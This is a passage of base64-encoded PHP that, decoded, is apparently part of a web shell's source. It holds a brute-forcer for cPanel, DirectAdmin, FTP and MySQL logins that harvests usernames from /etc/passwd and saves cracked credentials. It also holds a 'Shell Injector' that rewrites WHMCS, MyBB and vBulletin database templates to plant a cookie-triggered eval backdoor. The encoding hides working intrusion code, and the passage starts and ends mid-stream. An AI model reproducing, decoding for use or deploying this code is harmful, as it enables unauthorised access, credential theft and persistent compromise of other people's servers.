a2VyKCRpbmZvKXsKJHVybCA9ICRpbmZvWydwcm90b2NvbCddLiRpbmZvWyd0YXJnZXQnXTsKJGN1cmwgPSBjdXJsX2luaXQoKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfVVJMLCAkdXJsKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFR
fVVNFUkFHRU5ULCdNb3ppbGxhLzUuMCAoV2luZG93cyBOVCA2LjI7IFdPVzY0OyBydjoxNy4wKSBHZWNrby8yMDEwMDEwMSBGaXJlZm94LzE3LjAnKTsKY3VybF9zZXRvcHQoJGN1cmwsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwpjdXJsX3
NldG9wdCgkY3VybCwgQ1VSTE9QVF9VU0VSUFdELCAiIi4kaW5mb1sndXNlcm5hbWUnXS4iOiIuJGluZm9bJ3Bhc3N3b3JkJ10uIiIpOwokcmVzdWx0ID0gQGN1cmxfZXhlYygkY3VybCk7CiRjdXJsX2Vycm5vID0gY3VybF9lcnJubygkY3VybCk7C
iRjdXJsX2Vycm9yID0gY3VybF9lcnJvcigkY3VybCk7CmlmICgkY3VybF9lcnJubyA+IDApIHtlY2hvICI8Zm9udCBjb2xvcj0ncmVkJz5FcnJvcjogJGN1cmxfZXJyb3I8L2ZvbnQ+PGJyPiI7fQplbHNlaWYocHJlZ19tYXRjaCgnLyhcZCspOihc
ZCspL2knLCRyZXN1bHQpKXsKZWNobyAnVXNlck5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9
udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3VjY2Vzcy4uLi48L2ZvbnQ+PGJyPic7CiRpbmZvWyd0YXJnZXQnXSA9ICR1cmw7CkNyYWNrZXJSZXN1YWx0KCRpbmZvKTsKfQpjdXJsX2Nsb3NlKCRjdXJsKTsKfQpmdW5jdGlvbiBIb2tpX015c3FsX0
NyYWNrZXIoJGluZm8pewppZihAbXlzcWxpX2Nvbm5lY3QoJGluZm9bJ3RhcmdldCddLic6Jy4kaW5mb1sncG9ydCddLCRpbmZvWyd1c2VybmFtZSddLCRpbmZvWydwYXNzd29yZCddKSl7CkNyYWNrZXJSZXN1YWx0KCRpbmZvKTsKZWNobyAnVXNlc
k5hbWU6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3VzZXJuYW1lJ10uJzwvZm9udD4gUGFzc1dvcmQ6IDxmb250IGNvbG9yPSJyZWQiPicuJGluZm9bJ3Bhc3N3b3JkJ10uJzwvZm9udD48Zm9udCBjb2xvcj0iZ3JlZW4iPiAgTG9naW4gU3Vj
Y2Vzcy4uLi48L2ZvbnQ+PGJyPic7Cn0KfQpmdW5jdGlvbiBIb2tpX0ZUUEMoJGluZm8pewppZigkY29uPUBmdHBfY29ubmVjdCgkaW5mb1sndGFyZ2V0J10sJGluZm9bJ3BvcnQnXSkpewppZigkY29uKXsKJGxvZ2luPUBmdHBfbG9naW4oJGNvbiw
kaW5mb1sndXNlcm5hbWUnXSwkaW5mb1sncGFzc3dvcmQnXSk7CmlmKCRsb2dpbil7Q3JhY2tlclJlc3VhbHQoJGluZm8pO319fQpAZnRwX2Nsb3NlKCRjb24pOwp9CmZ1bmN0aW9uIENyYWNrZXJSZXN1YWx0KCRpbmZvKXsKJHJlcyA9ICRpbmZvWy
d0YXJnZXQnXS4nID0+ICcuJGluZm9bJ3VzZXJuYW1lJ10uIjoiLiRpbmZvWydwYXNzd29yZCddLiJcbiIgOwokYyA9IEBmb3BlbigkaW5mb1snZmNyYWNrJ10sJ2ErJyk7CkBmd3JpdGUoJGMsICRyZXMpOwpAZmNsb3NlKCRjKTsKfQpmdW5jdGlvb
iBIb2tpX0NhbGxfRnVuY3Rpb25fQ3JhY2tlcigkbWV0aG9kLCRpbmZvKXsKc3dpdGNoKCRtZXRob2Qpe2Nhc2UgJ2NwJzpyZXR1cm4gSG9raV9DUF9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdkaXJlY3QnOiBjYXNlICdwaHBteWFkbWluJzpy
ZXR1cm4gSG9raV9EaXJlY3RBZG1pbl9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdmdHAnOnJldHVybiBIb2tpX0ZUUF9DcmFja2VyKCRpbmZvKTticmVhaztjYXNlICdteXNxbCc6cmV0dXJuIEhva2lfTXlzcWxfQ3JhY2tlcigkaW5mbyk7YnJ
lYWs7Y2FzZSAnbXlzcWwnOnJldHVybiBIb2tpX0ZUUEMoJGluZm8pO2JyZWFrO30KfQpmdW5jdGlvbiBob2tpQ3JhY2tlcnMoKXsKaG9raWhlYWQoKTsKSG9raU51bSg5LDEwKTsKZWNobyAnPGRpdiBjbGFzcz0iaGVhZGVyIj48Y2VudGVyPjxicj
48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBCcnV0ZSBGb3JjZXIgfDwvZGl2Pjxicj48YnI+PGZvcm0gbWV0aG9kPSJwb3N0IiBvbnN1Ym1pdD0iZyhcJ0NyYWNrZXJzXCcsbnVsbCx0aGlzLnRhcmdldC52YWx1ZSx0aGlzLnBvcnQudmFsd
WUsdGhpcy51c2VybmFtZXMudmFsdWUsdGhpcy5wYXNzd29yZHMudmFsdWUsdGhpcy5mY3JhY2sudmFsdWUsXCdzdGFydFwnLHRoaXMucHJvdG9jb2wudmFsdWUsdGhpcy5sb2dpbnBhbmVsLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48ZGl2IGNsYXNz
PSJ0eHRmb250Ij5Mb2dpbiBQYWdlOiA8c2VsZWN0IG9uY2xpY2s9ImRpc19pbnB1dCh0aGlzLnZhbHVlKTsiIG5hbWU9ImxvZ2lucGFuZWwiPic7CmZvcmVhY2goYXJyYXkoJ2NwJz0+J0NwYW5lbCcsJ2RpcmVjdCc9PidEaXJlY3RBZG1pbicsJ2Z
0cCc9PidGVFAnLCdwaHBteWFkbWluJz0+J1BocE15QWRtaW5bRGlyZWN0QWRtaW5dJywnbXlzcWwnPT4nbXlzcWxfY29ubmVjdCgpJywnZnRwYyc9PidmdHBfY29ubmVjdCgpJykgYXMgJGtleT0+JHZhbCllY2hvKCc8b3B0aW9uIHZhbHVlPSInLi
RrZXkuJyI+Jy4kdmFsLic8L29wdGlvbj4nKTsKZWNobyAnPC9zZWxlY3Q+IFByb3RvY29sOiA8c2VsZWN0IGlkPSJwcm90b2NvbCIgbmFtZT0icHJvdG9jb2wiPic7CmZvcmVhY2goYXJyYXkoJ2h0dHBzOi8vJywnaHR0cDovLycsJ2Z0cDovLycpI
GFzICR2YWwpZWNobygnPG9wdGlvbiB2YWx1ZT0iJy4kdmFsLiciPicuJHZhbC4nPC9vcHRpb24+Jyk7CmVjaG8gJzwvc2VsZWN0PiBXZWJzaXRlL2lwIEFkZHJlc3M6IDxpbnB1dCBpZD0idGFyZ2V0IiB0eXBlPSJ0ZXh0IiBuYW1lPSJ0YXJnZXQi
IHZhbHVlPSJsb2NhbGhvc3QiPgpQb3J0OiA8aW5wdXQgaWQ9InBvcnQiIHR5cGU9InRleHQiIG5hbWU9InBvcnQiIHZhbHVlPSIyMDgzIj4KPHRhYmxlIHdpZHRoPSIzMCUiPjx0ZCBhbGlnbj0iY2VudGVyIj5Vc2VycyBMaXN0PC90ZD48dGQgYWx
pZ249ImNlbnRlciI+UGFzc3dvcmRzPC90ZD48L3RhYmxlPgo8dGV4dGFyZWEgcGxhY2Vob2xkZXI9IlVzZXJzIiByb3dzPSIyMCIgY29scz0iMjUiIG5hbWU9InVzZXJuYW1lcyI+Jy4oJEdMT0JBTFNbJ3N5cyddPT0ndW5peCc/aG9raUV4KCJjdX
QgLWQ6IC1mMSAvZXRjL3Bhc3N3ZCIpOiIiKS4nPC90ZXh0YXJlYT4KJm5ic3AgPHRleHRhcmVhIHBsYWNlaG9sZGVyPSJQYXNzd29yZHMiIHJvd3M9IjIwIiBjb2xzPSIyNSIgbmFtZT0icGFzc3dvcmRzIj48L3RleHRhcmVhPjxicj48YnI+ClNhd
mUgUmVzdWx0IEludG8gRmlsZSA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iZmNyYWNrIiB2YWx1ZT0iY3JhY2tlZC50eHQiPgo8cD48aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJjcmFja2luZyIgdmFsdWU9IiAiIC8+PC9kaXY+PC9mb3JtPjwv
cD48Y2VudGVyPic7CiR0YXJnZXQgPSBzdHJfcmVwbGFjZShhcnJheSgnaHR0cHM6Ly8nLCdodHRwOi8vJywnZnRwOi8vJyksJycsJF9QT1NUWydob2tpMSddKTsKJHBvcnQgPSAkX1BPU1RbJ2hva2kyJ107CiR1c2VybmFtZXM9ICRfUE9TVFsnaG9
raTMnXTsKJHBhc3N3b3JkcyA9ICRfUE9TVFsnaG9raTQnXTsKJGZjcmFjayA9ICRfUE9TVFsnaG9raTUnXTsKJGNyYWNraW5nID0gJF9QT1NUWydob2tpNiddOwokcHJvdG9jb2wgPSAkX1BPU1RbJ2hva2k3J107CiRsb2dpbnBhbmVsID0gJF9QT1
NUWydob2tpOCddOwokcCA9ICRsb2dpbnBhbmVsID09ICdwaHBteWFkbWluJyA/ICRwID0gdHJ1ZSA6IGZhbHNlOwppZigkY3JhY2tpbmc9PSdzdGFydCcpewplY2hvIF9fcHJlKCk7CiRleHVzZXIgPSBleHBsb2RlKCJcbiIsJHVzZXJuYW1lcyk7C
iRleHB3ID0gZXhwbG9kZSgiXG4iLCRwYXNzd29yZHMpOwpmb3JlYWNoKCRleHVzZXIgYXMgJHVzZXIpewpmb3JlYWNoKCRleHB3IGFzICRwdyl7CiRhcnJheSA9IGFycmF5KCd1c2VybmFtZScgPT4gdHJpbSgkdXNlciksJ3Bhc3N3b3JkJyA9PiB0
cmltKCRwdyksJ3BvcnQnID0+IHRyaW0oJHBvcnQpLCd0YXJnZXQnID0+IHRyaW0oJHRhcmdldCksJ3Byb3RvY29sJyA9PiB0cmltKCRwcm90b2NvbCksJ2ZjcmFjaycgPT4gdHJpbSgkZmNyYWNrKSwnbXlzcWwnID0+ICRwKTsKSG9raV9DYWxsX0Z
1bmN0aW9uX0NyYWNrZXIoJGxvZ2lucGFuZWwsJGFycmF5KTsKfQp9CmVjaG8gJzxicj48Zm9udCBjb2xvcj0icmVkIj5BdHRhY2sgRmluaXNoZWQuLi48L2ZvbnQ+JzsKfQplY2hvICc8L2Rpdj4nOwpob2tpZm9vdGVyKCk7Cn0KZnVuY3Rpb24gb3
V0cHV0KCRzdHJpbmcpeyBlY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMVwiPjxicj48Y2VudGVyPjxmb250IGNvbG9yPXJlZD48YSB0YXJnZXQ9J19ibGFuaycgaHJlZj0nI
i4kc3RyaW5nLiInPkNsaWNrIEhlcmUgITwvYT48L2ZvbnQ+PC9iPjwvY2VudGVyPjxicj48YnI+Ijt9CmZ1bmN0aW9uIGhva2lTaGVsbEluamVjdG9ycygpewpob2tpaGVhZCgpOwplY2hvICc8ZGl2IGNsYXNzPWhlYWRlcj4nOwpIb2tpTnVtKDEx
KTsKZWNobyAnPGNlbnRlcj48cD48ZGl2IGNsYXNzPSJ0eHRmb250X2hlYWRlciI+fCBDbXMgU2hlbGwgSW5qZWN0b3IgfDwvZGl2PjwvcD48Y2VudGVyPjxoMz48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnU2hlbGxJbmp
lY3RvcnNcJyxudWxsLFwnd2htY3NcJyxudWxsKSI+fCBXSE1DUyB8IDwvYT48YSBocmVmPWphdmFzY3JpcHQ6dm9pZCgwKSBvbmNsaWNrPSJnKFwnU2hlbGxJbmplY3RvcnNcJyxudWxsLG51bGwsXCdteWJiXCcpIj58IE15QkIgfCA8L2E+PGEgaH
JlZj1qYXZhc2NyaXB0OnZvaWQoMCkgb25jbGljaz0iZyhcJ1NoZWxsSW5qZWN0b3JzXCcsbnVsbCxudWxsLG51bGwsXCd2YlwnKSI+fCB2QnVsbGV0aW4gfDwvYT48L2gzPjwvY2VudGVyPic7CiRzZWxlY3RvciA9ICc8cD48ZGl2IGNsYXNzPSJ0e
HRmb250Ij5TaGVsbCBJbmplY3QgTWV0aG9kIDogPC9kaXY+IDxzZWxlY3QgbmFtZT0ibWV0aG9kIiBzdHlsZT0id2lkdGg6MTAwcHg7Ij48b3B0aW9uIHZhbHVlPSJhdXRvIj5BdXRvTWF0aWM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJtYW4iPk1h
bnVlbDwvb3B0aW9uPjwvc2VsZWN0PjwvcD4nOwppZihpc3NldCgkX1BPU1RbJ2hva2kxJ10pICYmICRfUE9TVFsnaG9raTEnXT09ICd3aG1jcycpewpIb2tpTnVtKCk7CmVjaG8gX19wcmUoKS4iPHA+PGRpdiBjbGFzcz0ndHh0Zm9udF9oZWFkZXI
nPnwgV0hNQ1MgfDwvZGl2PjwvcD48Y2VudGVyPjxjZW50ZXI+PHA+Ii5nZXRDb25maWdIdG1sKCd3aG1jcycpLiI8L3A+PGZvcm0gb25TdWJtaXQ9XCJnKCdTaGVsbEluamVjdG9ycycsbnVsbCwnd2htY3MnLG51bGwsbnVsbCx0aGlzLm1ldGhvZC
52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucGF0aC52YWx1ZSk7IHJldHVybiBmYWxzZTtcIiBtZXRob2Q9J3Bvc3QnPiI7CiR0YWJsZSA9IGFycmF5KCd0Z
DEnID0+CiBhcnJheSgnY29sb3InID0+ICdGRkZGRkYnLCAndGROYW1lJyA9PiAnUGF0aCBXSE1DUyBVcmwgOiAnLCAnaW5wdXROYW1lJyA9PiAncGF0aCcsICdpbnB1dFZhbHVlJyA9PiAnaHR0cDovL3NpdGUuY29tL3dobWNzJywgJ2lucHV0U2l6
ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ015c3FsIEhvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJyA9PiAnZGJfaG9zdCcsICdpbnB1dFZhbHVlJyA9PiAnbG9
jYWxob3N0JywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQzJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJyA9PiAnZGJfbmFtZScsICdpbn
B1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ0JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFVzZXIgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJyA9PiAnZGJfdXNlc
icsICdpbnB1dFZhbHVlJyA9PiAnJywgJ2lucHV0U2l6ZScgPT4gJzUwJyksCiAndGQ1JyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RiIFBhc3MgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJwJywgJ2lkJyA9PiAn
ZGJfcHcnLCAnaW5wdXRWYWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICRzZWxlY3RvcjsKZWNobyAiPHA+PGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9JyAnPjwvcD48L2Zvcm0
+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+PC9jZW50ZXI+IjsKaWYoaXNzZXQoJF9QT1NUWydob2tpNiddKSkgewokZGJ1ID0gJF9QT1NUWydob2tpNiddOwokZGJuID0gJF9QT1NUWydob2tpNyddOwokZGJwID0gJF9QT1NUWydob2tpOCddOw
okZGJoID0gJF9QT1NUWydob2tpOSddOwokcGF0aCA9ICRfUE9TVFsnaG9raTEwJ107CiRtZXRob2QgPSAkX1BPU1RbJ2hva2k0J107CiRpbmRleCA9ICJ7cGhwfSIuSE9LSV9VUExPQURFUi4iO3svcGhwfSI7CiRuZXdpbiA9IHN0cl9yZXBsYWNlK
CInIiwiXCciLCRpbmRleCk7CiRuZXdpbmRleCA9ICI8cD5EZWFyICRuZXdpbiw8L3A+PHA+UmVjZW50bHkgYSByZXF1ZXN0IHdhcyBzdWJtaXR0ZWQgdG8gcmVzZXQgeW91ciBwYXNzd29yZCBmb3Igb3VyIGNsaWVudCBhcmVhLiBJZiB5b3UgZGlk
IG5vdCByZXF1ZXN0IHRoaXMsIHBsZWFzZSBpZ25vcmUgdGhpcyBlbWFpbC4gSXQgd2lsbCBleHBpcmUgYW5kIGJlY29tZSB1c2VsZXNzIGluIDIgaG91cnMgdGltZS48L3A+PHA+VG8gcmVzZXQgeW91ciBwYXNzd29yZCwgcGxlYXNlIHZpc2l0IHR
oZSB1cmwgYmVsb3c6PGJyIC8+PGEgaHJlZj1cIntcJHB3X3Jlc2V0X3VybH1cIj57XCRwd19yZXNldF91cmx9PC9hPjwvcD48cD5XaGVuIHlvdSB2aXNpdCB0aGUgbGluayBhYm92ZSwgeW91ciBwYXNzd29yZCB3aWxsIGJlIHJlc2V0LCBhbmQgdG
hlIG5ldyBwYXNzd29yZCB3aWxsIGJlIGVtYWlsZWQgdG8geW91LjwvcD48cD57XCRzaWduYXR1cmV9PC9wPntwaHB9aWYoXCRfQ09PS0lFW1wic2VjXCJdID09IFwiMTIzXCIpe2V2YWwoYmFzZTY0X2RlY29kZShcJF9DT09LSUVbXCJzZWMyXCJdK
Sk7IGRpZShcIiFcIik7fXtcL3BocH0iOwppZighZW1wdHkoJGRiaCkgJiYgIWVtcHR5KCRkYnUpICYmICFlbXB0eSgkZGJuKSAmJiAhZW1wdHkoJGluZGV4KSl7CmlmKGZpbHRlcl92YXIoJHBhdGgsRklMVEVSX1ZBTElEQVRFX1VSTCkpewokY29u
biA9IG15c3FsaV9jb25uZWN0KCRkYmgsJGRidSwkZGJwLCRkYm4pIG9yIGRpZShteXNxbGlfY29ubmVjdF9lcnJvcigpKTsKJGtpc2VTYXZlPSBteXNxbGlfcXVlcnkoJGNvbm4sInNlbGVjdCBtZXNzYWdlIGZyb20gdGJsZW1haWx0ZW1wbGF0ZXM
gd2hlcmUgbmFtZT0nUGFzc3dvcmQgUmVzZXQgVmFsaWRhdGlvbiciKTsKJGtpc2VHZXQgPSBteXNxbGlfZmV0Y2hfYXNzb2MoJGtpc2VTYXZlKTsKJHRlbXBTYXZlMSA9ICRraXNlR2V0WydtZXNzYWdlJ107CiR0ZW1wU2F2ZSA9IHN0cl9yZXBsYW
NlKCInIiwiXCciLCR0ZW1wU2F2ZTEpOwpteXNxbGlfcXVlcnkoJGNvbm4sIlVQREFURSB0Ymxjb25maWd1cmF0aW9uIFNFVCB2YWx1ZSA9ICcxJyBXSEVSRSBzZXR0aW5nID0gJ0FsbG93U21hcnR5UGhwVGFncyciKSBvciBkaWUgKG15c3FsaV9lc
nJvcigkY29ubikpOwokaW5qZWN0ID0gIlVQREFURSB0YmxlbWFpbHRlbXBsYXRlcyBTRVQgbWVzc2FnZT0nJG5ld2luZGV4JyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7CiRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNv
bm4sJGluamVjdCkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKJGNyZWF0ZSA9ICJpbnNlcnQgaW50byB0YmxjbGllbnRzIChlbWFpbCkgdmFsdWVzKCdraXNlcnlvdW5pQGZiaS5nb3YnKSI7CiRyZXN1bHQyID0gbXlzcWxpX3F1ZXJ5KCR
jb25uLCRjcmVhdGUpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CmlmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF92ZXJzaW9uJykgJiYgJG1ldGhvZCA9PSAnYXV0bycpewokSG9raVNvbGUgPSBuZXcgSG9raUNVUkwodHJ1ZSk7CiRzYXZldX
JsID0gJEhva2lTb2xlLT5TZW5kKCRwYXRoLiIvcHdyZXNldC5waHAiKTsKJGdldFRva2VuID0gcHJlZ19tYXRjaCgiL25hbWU9XCJ0b2tlblwiIHZhbHVlPVwiKC4qPylcIi9pIiwkc2F2ZXVybCwkdG9rZW4pOwokSG9raVNvbGUtPlNlbmQoJHBhd
GguIi9wd3Jlc2V0LnBocCIsInBvc3QiLCJ0b2tlbj17JHRva2VuWzFdfSZhY3Rpb249cmVzZXQmZW1haWw9a2lzZXJ5b3VuaUBmYmkuZ292Iik7CiRiYWNrZGF0YSA9ICJVUERBVEUgdGJsZW1haWx0ZW1wbGF0ZXMgU0VUIG1lc3NhZ2U9J3skdGVt
cFNhdmV9JyBXSEVSRSBuYW1lPSdQYXNzd29yZCBSZXNldCBWYWxpZGF0aW9uJyI7CiRLaXNlcnlvdW5pID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRiYWNrZGF0YSkgb3IgZGllIChteXNxbGlfZXJyb3IoJGNvbm4pKTsKX19hbGVydCgic2hlbGwgaW5
qZWN0ZXQuLi4iKTsKJGZmPSAnaHR0cDovLycuJHBhdGguIi9raXNlcnlvdW5pLnBocCI7Cm91dHB1dCgkZmYpO31lbHNlewplY2hvICI8YnI+PHByZSBpZD1cInN0ck91dHB1dFwiIHN0eWxlPVwibWFyZ2luLXRvcDo1cHhcIiBjbGFzcz1cIm1sMV
wiPjxicj48Y2VudGVyPjxiPjxmb250IGNvbG9yPVwiI0ZGRkZGRlwiPlBsZWFzZSBnbyB0byBUYXJnZXQgPT4gPC9mb250PjxhIGhyZWY9JyIuJHBhdGguIi9wd3Jlc2V0LnBocCcgdGFyZ2V0PSdfYmxhbmsnPiIuJHBhdGguIi9wd3Jlc2V0LnBoc
DwvYT48YnIvPjxmb250IGNvbG9yPScjRkZGRkZGJz4gQW5kIFJlc2V0IFBhc3N3b3JkIFdpdGggRW1haWw8L2ZvbnQ+ID0+IDxmb250IGNvbG9yPXJlZD5raXNlcnlvdW5pQGZiaS5nb3Y8L2ZvbnQ+PGJyLz48Zm9udCBjb2xvcj0nI0ZGRkZGRic+
QW5kIEdvIFRvID0+IDwvZm9udD48YSBocmVmPSciLiRwYXRoLiIva2lzZXJ5b3VuaS5waHAnIHRhcmdldD0nX2JsYW5rJz4iLiRwYXRoLiIva2lzZXJ5b3VuaS5waHA8L2E+PC9iPjwvY2VudGVyPjxicj48YnI+Ijt9fWVsc2V7X19hbGVydCgnUGF
0aCBpcyBub3QgVmFsaWQuLi4nKTt9fX0KfWlmKGlzc2V0KCRfUE9TVFsnaG9raTInXSkgJiYgJF9QT1NUWydob2tpMiddPT0gJ215YmInKXsKSG9raU51bSgxLDIsMyw1KTsKZWNobyBfX3ByZSgpLiI8cD48ZGl2IGNsYXNzPSd0eHRmb250X2hlYW
Rlcic+fCBNeUJCIHw8L2Rpdj48L3A+PGNlbnRlcj48Y2VudGVyPiIuZ2V0Q29uZmlnSHRtbCgibXliYiIpLiI8Zm9ybSBpZD0nc2VuZGFqYXgnIG9uU3VibWl0PVwiZygnU2hlbGxJbmplY3RvcnMnLG51bGwsbnVsbCwnbXliYicsbnVsbCx0aGlzL
m1ldGhvZC52YWx1ZSxudWxsLHRoaXMuZGJ1LnZhbHVlLHRoaXMuZGJuLnZhbHVlLHRoaXMuZGJwLnZhbHVlLHRoaXMuZGJoLnZhbHVlLHRoaXMucHJlZml4LnZhbHVlKTsgcmV0dXJuIGZhbHNlO1wiIG1ldGhvZD1QT1NUPgoiOwokdGFibGUgPSBh
cnJheSgndGQxJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0hvc3QgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJoJywgJ2lkJz0+J2RiX2hvc3QnLCdpbnB1dFZhbHVlJyA9PiAnbG9jYWxob3N0JywgJ2lucHV0U2l
6ZScgPT4gJzUwJyksCiAndGQyJyA9PgogYXJyYXkoJ2NvbG9yJyA9PiAnRkZGRkZGJywgJ3RkTmFtZScgPT4gJ0RhdGFCYXNlIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJuJywgJ2lkJz0+J2RiX25hbWUnICwnaW5wdXRWYWx1ZScgPT4gJy
csICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkMycgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdVc2VyIE5hbWUgOiAnLCAnaW5wdXROYW1lJyA9PiAnZGJ1JywgJ2lkJz0+J2RiX3VzZXInLCAnaW5wdXRWYWx1Z
ScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNCcgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdQYXNzd29yZCA6ICcsICdpbnB1dE5hbWUnID0+ICdkYnAnLCAnaWQnPT4nZGJfcHcnLCAnaW5wdXRW
YWx1ZScgPT4gJycsICdpbnB1dFNpemUnID0+ICc1MCcpLAogJ3RkNScgPT4KIGFycmF5KCdjb2xvcicgPT4gJ0ZGRkZGRicsICd0ZE5hbWUnID0+ICdUYWJsZSBQcmVmaXggOiAnLCAnaW5wdXROYW1lJyA9PiAncHJlZml4JywgJ2lkJz0+J2RiX3B
yZWZpeCcsJ2lucHV0VmFsdWUnID0+ICdteWJiXycsICdpbnB1dFNpemUnID0+ICc1MCcpCik7CmNyZWF0ZV90YWJsZSgkdGFibGUpOwplY2hvICRzZWxlY3RvcjsKZWNobyAiPHA+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScgJz48L3A+PC9mb3
JtPjwvY2VudGVyPjwvY2VudGVyPiI7CmlmKGlzc2V0KCRfUE9TVFsnaG9raTYnXSkpIHsKJGRidSA9ICRfUE9TVFsnaG9raTYnXTsKJGRibiA9ICRfUE9TVFsnaG9raTcnXTsKJGRicCA9ICRfUE9TVFsnaG9raTgnXTsKJGRiaCA9ICRfUE9TVFsna
G9raTknXTsKJHByZWZpeCA9ICRfUE9TVFsnaG9raTEwJ107CiRtZXRob2QgPSAkX1BPU1RbJ2hva2k0J107CiRzaGVsbENvZGUgPSAie1wkeyIuSE9LSV9VUExPQURFUi4ifX0iOwokbmV3aW5zaGVsbCA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRz
aGVsbENvZGUpOwppZiAoIWVtcHR5KCRkYmgpICYmICFlbXB0eSgkZGJ1KSAmJiAhZW1wdHkoJGRibikgJiYgIWVtcHR5KCRuZXdpbnNoZWxsKSl7CiRjb25uID0gbXlzcWxpX2Nvbm5lY3QoJGRiaCwkZGJ1LCRkYnAsJGRibikgb3IgZGllKG15c3F
saV9lcnJvcigkY29ubikpOwokaW5qZWN0ID0gInNlbGVjdCB0ZW1wbGF0ZSBmcm9tIHskcHJlZml4fXRlbXBsYXRlcyB3aGVyZSAgdGl0bGU9ICdjYWxlbmRhciciOwokcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCAkaW5qZWN0KSBvciBkaW
UgKG15c3FsaV9lcnJvcigkY29ubikpOwokR2V0VGVtcCA9IG15c3FsaV9mZXRjaF9hc3NvYygkcmVzdWx0KTsKJHNhdmVEYXRlID0gJEdldFRlbXBbJ3RlbXBsYXRlJ107CiRyZXBzYXZlID0gc3RyX3JlcGxhY2UoJHNoZWxsQ29kZSwiIiwkc2F2Z
URhdGUpOwokcmVwc2F2ZSA9IHN0cl9yZXBsYWNlKCInIiwiXCciLCRyZXBzYXZlKTsKJGNyZWF0ZVNoZWxsID0gInVwZGF0ZSB7JHByZWZpeH10ZW1wbGF0ZXMgU0VUIHRlbXBsYXRlPSAnIi4kbmV3aW5zaGVsbC4kcmVwc2F2ZS4iJyB3aGVyZSB0
aXRsZSA9ICdjYWxlbmRhciciOwokcmVzdWx0MiA9IG15c3FsaV9xdWVyeSgkY29ubiwkY3JlYXRlU2hlbGwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRnZXR1cmwgPSAic2VsZWN0IHZhbHVlIGZyb20geyRwcmVmaXh9c2V0dGluZ3M
gd2hlcmUgbmFtZT0gJ2JidXJsJyI7CiRmaW5kdXJsID0gbXlzcWxpX3F1ZXJ5KCRjb25uLCRnZXR1cmwpIG9yIGRpZSAobXlzcWxpX2Vycm9yKCRjb25uKSk7CiRyb3diID0gbXlzcWxpX2ZldGNoX2Fzc29jKCRmaW5kdXJsKTsKJGZ1cmwgPSAkcm
93YlsndmFsdWUnXTsKJHJlYWx1cmwgPSBwYXJzZV91cmwoJGZ1cmwsUEhQX1VSTF9IT1NUKTsKJHJlYWxwYXRoID0gcGFyc2VfdXJsKCRmdXJsLFBIUF9VUkxfUEFUSCk7CiRyZXMgPSBmYWxzZTsKJEhva2lDdXJsID0gbmV3IEhva2lDVVJMKCk7C
